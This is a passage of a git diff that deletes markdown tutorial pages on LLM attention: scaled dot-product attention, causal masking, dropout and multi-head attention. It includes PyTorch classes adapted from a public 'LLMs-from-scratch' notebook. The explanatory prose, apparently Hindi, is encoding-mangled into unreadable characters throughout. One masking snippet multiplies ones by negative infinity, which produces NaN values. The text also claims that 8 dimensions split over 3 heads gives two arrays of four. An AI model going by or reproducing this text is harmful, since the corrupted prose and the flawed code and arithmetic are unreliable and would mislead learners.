рдЖрдпрд╛рдо рдорд╛рдиреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдореИрдЯреНрд░рд┐рдХреНрд╕ рд╕реЗ рдЧреБрдгрд╛ рдХрд░рдХреЗ: - -
- -рдпреЗ рдореИрдЯреНрд░рд┐рдХреНрд╕ рдореВрд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЛ рдзреНрдпрд╛рди рдХреА рдЧрдгрдирд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдПрдХ рдирдП рд╕реНрдерд╛рди рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддреЗ рд╣реИрдВред - -**рдЙрджрд╛рд╣рд░рдг** - -рдорд╛рди рд▓реАрдЬрд┐рдП: - -- рдЗрдирдкреБрдЯ рдЖрдпрд╛рдо `din=3` (рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдХрд╛рд░) -- рдЖрдЙрдЯрдкреБрдЯ рдЖрдпрд╛рдо `dout=2` (рдХреНрд╡реЗрд░реА, рдХреБрдВрдЬреА рдФрд░ рдорд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЗрдЪреНрдЫрд┐рдд рдЖрдпрд╛рдо) - -рд╡рдЬрди рдореИрдЯреНрд░рд┐рдХреНрд╕ рдХреЛ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВ: -```python -import torch.nn as nn - -d_in = 3 -d_out = 2 - -W_query = nn.Parameter(torch.rand(d_in, d_out)) -W_key = nn.Parameter(torch.rand(d_in, d_out)) -W_value = nn.Parameter(torch.rand(d_in, d_out)) -``` -рдХреНрд╡реЗрд░реА, рдХреА, рдФрд░ рд╡реИрд▓реНрдпреВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ: -```python -queries = torch.matmul(inputs, W_query) -keys = torch.matmul(inputs, W_key) -values = torch.matmul(inputs, W_value) -``` -#### Step 2: Compute Scaled Dot-Product Attention - -**Compute Attention Scores** - -рдкрд╣рд▓реЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд╕рдорд╛рди, рд▓реЗрдХрд┐рди рдЗрд╕ рдмрд╛рд░, рдЯреЛрдХрди рдХреЗ рдЖрдпрд╛рдореЛрдВ рдХреЗ рдорд╛рдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рд╣рдо рдЯреЛрдХрди рдХреА рдХреБрдВрдЬреА рдореИрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ (рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рдЖрдпрд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЧрдгрдирд╛ рдХреА рдЧрдИ рд╣реИ):ред рдЗрд╕рд▓рд┐рдП, рдкреНрд░рддреНрдпреЗрдХ рдХреНрд╡реЗрд░реА `qi`тАЛ рдФрд░ рдХреБрдВрдЬреА `kjтАЛ` рдХреЗ рд▓рд┐рдП: - -
- -**Scale the Scores** - -рдбреЙрдЯ рдЙрддреНрдкрд╛рджреЛрдВ рдХреЛ рдмрд╣реБрдд рдмрдбрд╝рд╛ рд╣реЛрдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдиреНрд╣реЗрдВ рдХреБрдВрдЬреА рдЖрдпрд╛рдо `dk`тАЛ рдХреЗ рд╡рд░реНрдЧрдореВрд▓ рд╕реЗ рд╕реНрдХреЗрд▓ рдХрд░реЗрдВ: - -
- -> [!TIP] -> рд╕реНрдХреЛрд░ рдХреЛ рдЖрдпрд╛рдореЛрдВ рдХреЗ рд╡рд░реНрдЧрдореВрд▓ рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдбреЙрдЯ рдЙрддреНрдкрд╛рдж рдмрд╣реБрдд рдмрдбрд╝реЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рдЙрдиреНрд╣реЗрдВ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред - -**Apply Softmax to Obtain Attention Weights:** рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЙрджрд╛рд╣рд░рдг рдХреА рддрд░рд╣, рд╕рднреА рдорд╛рдиреЛрдВ рдХреЛ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЙрдирдХрд╛ рдпреЛрдЧ 1 рд╣реЛред - -
- -#### Step 3: Compute Context Vectors - -рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЙрджрд╛рд╣рд░рдг рдХреА рддрд░рд╣, рд╕рднреА рдорд╛рдиреЛрдВ рдХреЗ рдореИрдЯреНрд░рд┐рдХреНрд╕ рдХреЛ рдЬреЛрдбрд╝реЗрдВ, рдкреНрд░рддреНрдпреЗрдХ рдХреЛ рдЗрд╕рдХреЗ рдзреНрдпрд╛рди рд╡рдЬрди рд╕реЗ рдЧреБрдгрд╛ рдХрд░реЗрдВ: - -
- -### Code Example - -[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) рд╕реЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд▓реЗрддреЗ рд╣реБрдП, рдЖрдк рдЗрд╕ рдХреНрд▓рд╛рд╕ рдХреЛ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╣рдордиреЗ рдЪрд░реНрдЪрд╛ рдХреА рд╕реНрд╡-рд╕рдВрдмрдВрдзрд┐рдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреА рд╣реИ: -```python -import torch - -inputs = torch.tensor( -[[0.43, 0.15, 0.89], # Your (x^1) -[0.55, 0.87, 0.66], # journey (x^2) -[0.57, 0.85, 0.64], # starts (x^3) -[0.22, 0.58, 0.33], # with (x^4) -[0.77, 0.25, 0.10], # one (x^5) -[0.05, 0.80, 0.55]] # step (x^6) -) - -import torch.nn as nn -class SelfAttention_v2(nn.Module): - -def __init__(self, d_in, d_out, qkv_bias=False): -super().__init__() -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) - -def forward(self, x): -keys = self.W_key(x) -queries = self.W_query(x) -values = self.W_value(x) - -attn_scores = queries @ keys.T -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) - -context_vec = attn_weights @ values -return context_vec - -d_in=3 -d_out=2 -torch.manual_seed(789) -sa_v2 = SelfAttention_v2(d_in, d_out) -print(sa_v2(inputs)) -``` -> [!NOTE] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдореИрдЯреНрд░рд┐рд╕ рдХреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, `nn.Linear` рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рднреА рд╡реЗрдЯреНрд╕ рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - -## рдХрд╛рд░рдгрд╛рддреНрдордХ рдзреНрдпрд╛рди: рднрд╡рд┐рд╖реНрдп рдХреЗ рд╢рдмреНрджреЛрдВ рдХреЛ рдЫрд┐рдкрд╛рдирд╛ - -LLMs рдХреЗ рд▓рд┐рдП рд╣рдо рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдореЙрдбрд▓ рдХреЗрд╡рд▓ рдЙрди рдЯреЛрдХрдиреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗ рдЬреЛ рд╡рд░реНрддрдорд╛рди рд╕реНрдерд┐рддрд┐ рд╕реЗ рдкрд╣рд▓реЗ рдкреНрд░рдХрдЯ рд╣реЛрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ **рдЕрдЧрд▓реЗ рдЯреЛрдХрди рдХреА рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА** рдХреА рдЬрд╛ рд╕рдХреЗред **рдХрд╛рд░рдгрд╛рддреНрдордХ рдзреНрдпрд╛рди**, рдЬрд┐рд╕реЗ **рдорд╛рд╕реНрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдзреНрдпрд╛рди** рднреА рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕реЗ рдзреНрдпрд╛рди рддрдВрддреНрд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рднрд╡рд┐рд╖реНрдп рдХреЗ рдЯреЛрдХрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред - -### рдХрд╛рд░рдгрд╛рддреНрдордХ рдзреНрдпрд╛рди рдорд╛рд╕реНрдХ рд▓рд╛рдЧреВ рдХрд░рдирд╛ - -рдХрд╛рд░рдгрд╛рддреНрдордХ рдзреНрдпрд╛рди рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдкрд░ рдПрдХ рдорд╛рд╕реНрдХ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ **рд╕реЙрдлреНрдЯрдореИрдХреНрд╕ рдСрдкрд░реЗрд╢рди рд╕реЗ рдкрд╣рд▓реЗ** рддрд╛рдХрд┐ рд╢реЗрд╖ рд╕реНрдХреЛрд░ рдХрд╛ рдпреЛрдЧ 1 рд╣реЛ рд╕рдХреЗред рдпрд╣ рдорд╛рд╕реНрдХ рднрд╡рд┐рд╖реНрдп рдХреЗ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдХреЛ рдирдХрд╛рд░рд╛рддреНрдордХ рдЕрдирдВрдд рдореЗрдВ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╕реЙрдлреНрдЯрдореИрдХреНрд╕ рдХреЗ рдмрд╛рдж, рдЙрдирдХреЗ рдзреНрдпрд╛рди рд╡реЗрдЯреНрд╕ рд╢реВрдиреНрдп рд╣реИрдВред - -**рдЪрд░рдг** - -1. **рдзреНрдпрд╛рди рд╕реНрдХреЛрд░ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ**: рдкрд╣рд▓реЗ рдХреА рддрд░рд╣ рд╣реАред -2. **рдорд╛рд╕реНрдХ рд▓рд╛рдЧреВ рдХрд░реЗрдВ**: рдПрдХ рдКрдкрд░реА рддреНрд░рд┐рдХреЛрдгреАрдп рдореИрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬреЛ рд╡рд┐рдХрд░реНрдг рдХреЗ рдКрдкрд░ рдирдХрд╛рд░рд╛рддреНрдордХ рдЕрдирдВрдд рд╕реЗ рднрд░рд╛ рд╣реЛред - -```python -mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf') -masked_scores = attention_scores + mask -``` - -3. **рд╕реЙрдлреНрдЯрдореИрдХреНрд╕ рд▓рд╛рдЧреВ рдХрд░реЗрдВ**: рдорд╛рд╕реНрдХ рдХрд┐рдП рдЧрдП рд╕реНрдХреЛрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдзреНрдпрд╛рди рд╡реЗрдЯреНрд╕ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВред - -```python -attention_weights = torch.softmax(masked_scores, dim=-1) -``` - -### рдбреНрд░реЙрдкрдЖрдЙрдЯ рдХреЗ рд╕рд╛рде рдЕрддрд┐рд░рд┐рдХреНрдд рдзреНрдпрд╛рди рд╡реЗрдЯреНрд╕ рдХреЛ рдорд╛рд╕реНрдХ рдХрд░рдирд╛ - -**рдУрд╡рд░рдлрд┐рдЯрд┐рдВрдЧ** рдХреЛ **рд░реЛрдХрдиреЗ** рдХреЗ рд▓рд┐рдП, рд╣рдо рд╕реЙрдлреНрдЯрдореИрдХреНрд╕ рдСрдкрд░реЗрд╢рди рдХреЗ рдмрд╛рдж рдзреНрдпрд╛рди рд╡реЗрдЯреНрд╕ рдкрд░ **рдбреНрд░реЙрдкрдЖрдЙрдЯ** рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдбреНрд░реЙрдкрдЖрдЙрдЯ **рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдХреБрдЫ рдзреНрдпрд╛рди рд╡реЗрдЯреНрд╕ рдХреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд░реВрдк рд╕реЗ рд╢реВрдиреНрдп рдХрд░ рджреЗрддрд╛ рд╣реИ**ред -```python -dropout = nn.Dropout(p=0.5) -attention_weights = dropout(attention_weights) -``` -рдПрдХ рдирд┐рдпрдорд┐рдд рдбреНрд░реЙрдкрдЖрдЙрдЯ рд▓рдЧрднрдЧ 10-20% рд╣реИред - -### рдХреЛрдб рдЙрджрд╛рд╣рд░рдг - -рдХреЛрдб рдЙрджрд╛рд╣рд░рдг [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) рд╕реЗ: -```python -import torch -import torch.nn as nn - -inputs = torch.tensor( -[[0.43, 0.15, 0.89], # Your (x^1) -[0.55, 0.87, 0.66], # journey (x^2) -[0.57, 0.85, 0.64], # starts (x^3) -[0.22, 0.58, 0.33], # with (x^4) -[0.77, 0.25, 0.10], # one (x^5) -[0.05, 0.80, 0.55]] # step (x^6) -) - -batch = torch.stack((inputs, inputs), dim=0) -print(batch.shape) - -class CausalAttention(nn.Module): - -def __init__(self, d_in, d_out, context_length, -dropout, qkv_bias=False): -super().__init__() -self.d_out = d_out -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.dropout = nn.Dropout(dropout) -self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New - -def forward(self, x): -b, num_tokens, d_in = x.shape -# b is the num of batches -# num_tokens is the number of tokens per batch -# d_in is the dimensions er token - -keys = self.W_key(x) # This generates the keys of the tokens -queries = self.W_query(x) -values = self.W_value(x) - -attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply -attn_scores.masked_fill_( # New, _ ops are in-place -self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size -attn_weights = torch.softmax( -attn_scores / keys.shape[-1]**0.5, dim=-1 -) -attn_weights = self.dropout(attn_weights) - -context_vec = attn_weights @ values -return context_vec - -torch.manual_seed(123) - -context_length = batch.shape[1] -d_in = 3 -d_out = 2 -ca = CausalAttention(d_in, d_out, context_length, 0.0) - -context_vecs = ca(batch) - -print(context_vecs) -print("context_vecs.shape:", context_vecs.shape) -``` -## рдПрдХрд▓-рд╣реЗрдб рдзреНрдпрд╛рди рдХреЛ рдмрд╣реБ-рд╣реЗрдб рдзреНрдпрд╛рди рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд░рдирд╛ - -**рдмрд╣реБ-рд╣реЗрдб рдзреНрдпрд╛рди** рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рд░реВрдк рд╕реЗ рдЖрддреНрдо-рдзреНрдпрд╛рди рдлрд╝рдВрдХреНрд╢рди рдХреЗ **рдХрдИ рдЙрджрд╛рд╣рд░рдгреЛрдВ** рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдкреНрд░рддреНрдпреЗрдХ рдХреЗ **рдЕрдкрдиреЗ рд╡рдЬрди** рд╣реЛрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдЕрдВрддрд┐рдо рд╡реЗрдХреНрдЯрд░ рдХреА рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХреЗред - -### рдХреЛрдб рдЙрджрд╛рд╣рд░рдг - -рдкрд┐рдЫрд▓реЗ рдХреЛрдб рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдФрд░ рдмрд╕ рдПрдХ рд▓рдкреЗрдЯрди рдЬреЛрдбрд╝рдирд╛ рдЬреЛ рдЗрд╕реЗ рдХрдИ рдмрд╛рд░ рд▓реЙрдиреНрдЪ рдХрд░рддрд╛ рд╣реИ, рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) рд╕реЗ рдПрдХ рдЕрдзрд┐рдХ рдЕрдиреБрдХреВрд▓рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рд╣реИ рдЬреЛ рд╕рднреА рд╕рд┐рд░реЛрдВ рдХреЛ рдПрдХ рд╕рд╛рде рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ (рдорд╣рдВрдЧреЗ рдлреЙрд░ рд▓реВрдк рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИ)ред рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдХреЛрдб рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЗ рдЖрдпрд╛рдореЛрдВ рдХреЛ рд╕рд┐рд░реЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡рд┐рднрд┐рдиреНрди рдЖрдпрд╛рдореЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣, рдпрджрд┐ рдЯреЛрдХрди рдХреЗ 8 рдЖрдпрд╛рдо рд╣реИрдВ рдФрд░ рд╣рдо 3 рд╕рд┐рд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдпрд╛рдореЛрдВ рдХреЛ 4 рдЖрдпрд╛рдореЛрдВ рдХреЗ 2 рдРрд░реЗ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рд╕рд┐рд░ рдЙрдирдореЗрдВ рд╕реЗ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛: -```python -class MultiHeadAttention(nn.Module): -def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): -super().__init__() -assert (d_out % num_heads == 0), \ -"d_out must be divisible by num_heads" - -self.d_out = d_out -self.num_heads = num_heads -self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs -self.dropout = nn.Dropout(dropout) -self.register_buffer( -"mask", -torch.triu(torch.ones(context_length, context_length), -diagonal=1) -) - -def forward(self, x): -b, num_tokens, d_in = x.shape -# b is the num of batches -# num_tokens is the number of tokens per batch -# d_in is the dimensions er token - -keys = self.W_key(x) # Shape: (b, num_tokens, d_out) -queries = self.W_query(x) -values = self.W_value(x) - -# We implicitly split the matrix by adding a `num_heads` dimension -# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) -keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) -values = values.view(b, num_tokens, self.num_heads, self.head_dim) -queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - -# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) -keys = keys.transpose(1, 2) -queries = queries.transpose(1, 2) -values = values.transpose(1, 2) - -# Compute scaled dot-product attention (aka self-attention) with a causal mask -attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - -# Original mask truncated to the number of tokens and converted to boolean -mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - -# Use the mask to fill attention scores -attn_scores.masked_fill_(mask_bool, -torch.inf) - -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) -attn_weights = self.dropout(attn_weights) - -# Shape: (b, num_tokens, num_heads, head_dim) -context_vec = (attn_weights @ values).transpose(1, 2) - -# Combine heads, where self.d_out = self.num_heads * self.head_dim -context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out) -context_vec = self.out_proj(context_vec) # optional projection - -return context_vec - -torch.manual_seed(123) - -batch_size, context_length, d_in = batch.shape -d_out = 2 -mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2) - -context_vecs = mha(batch) - -print(context_vecs) -print("context_vecs.shape:", context_vecs.shape) - -``` -For another compact and efficient implementation you could use the [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) class in PyTorch. - -> [!TIP] -> ChatGPT рдХрд╛ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЙрддреНрддрд░ рдХрд┐ рдХреНрдпреЛрдВ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдЖрдпрд╛рдореЛрдВ рдХреЛ рд╕рд┐рд░реЛрдВ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реИ рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд╕рд┐рд░ рд╕рднреА рдЯреЛрдХрдиреЛрдВ рдХреЗ рд╕рднреА рдЖрдпрд╛рдореЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗ: -> -> рдЬрдмрдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд╕рд┐рд░ рдХреЛ рд╕рднреА рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдпрд╛рдореЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ рдлрд╛рдпрджреЗрдордВрдж рд▓рдЧ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд╕рд┐рд░ рдХреЛ рдкреВрд░реНрдг рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдВрдЪ рд╣реЛрдЧреА, рдорд╛рдирдХ рдкреНрд░рдерд╛ рд╣реИ рдХрд┐ **рд╕рд┐рд░реЛрдВ рдХреЗ рдмреАрдЪ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдпрд╛рдореЛрдВ рдХреЛ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдирд╛**ред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдЧрдгрдирд╛рддреНрдордХ рджрдХреНрд╖рддрд╛ рдФрд░ рдореЙрдбрд▓ рдкреНрд░рджрд░реНрд╢рди рдХреЗ рдмреАрдЪ рд╕рдВрддреБрд▓рди рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рд╕рд┐рд░ рдХреЛ рд╡рд┐рд╡рд┐рдз рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рд╕реАрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдпрд╛рдореЛрдВ рдХреЛ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдирд╛ рдЖрдорддреМрд░ рдкрд░ рдкреНрд░рддреНрдпреЗрдХ рд╕рд┐рд░ рдХреЛ рд╕рднреА рдЖрдпрд╛рдореЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреА рдЬрд╛рддреА рд╣реИред - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/5.-llm-architecture.md b/src/todo/llm-training-data-preparation/5.-llm-architecture.md deleted file mode 100644 index 6e310e819..000000000 --- a/src/todo/llm-training-data-preparation/5.-llm-architecture.md +++ /dev/null @@ -1,666 +0,0 @@ -# 5. LLM Architecture - -## LLM Architecture - -> [!TIP] -> рдЗрд╕ рдкрд╛рдВрдЪрд╡реЗ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рдкреВрд░реНрдг LLM рдХреА рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдирд╛**ред рд╕рдм рдХреБрдЫ рдПрдХ рд╕рд╛рде рд░рдЦреЗрдВ, рд╕рднреА рдкрд░рддреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдФрд░ рдкрд╛рда рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдпрд╛ рдкрд╛рда рдХреЛ рдЖрдИрдбреА рдореЗрдВ рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдмрдирд╛рдПрдВред -> -> рдЗрд╕ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдФрд░ рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рджреЛрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред - -LLM рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХрд╛ рдЙрджрд╛рд╣рд░рдг [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): - -рдПрдХ рдЙрдЪреНрдЪ рд╕реНрддрд░ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: - -

https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31

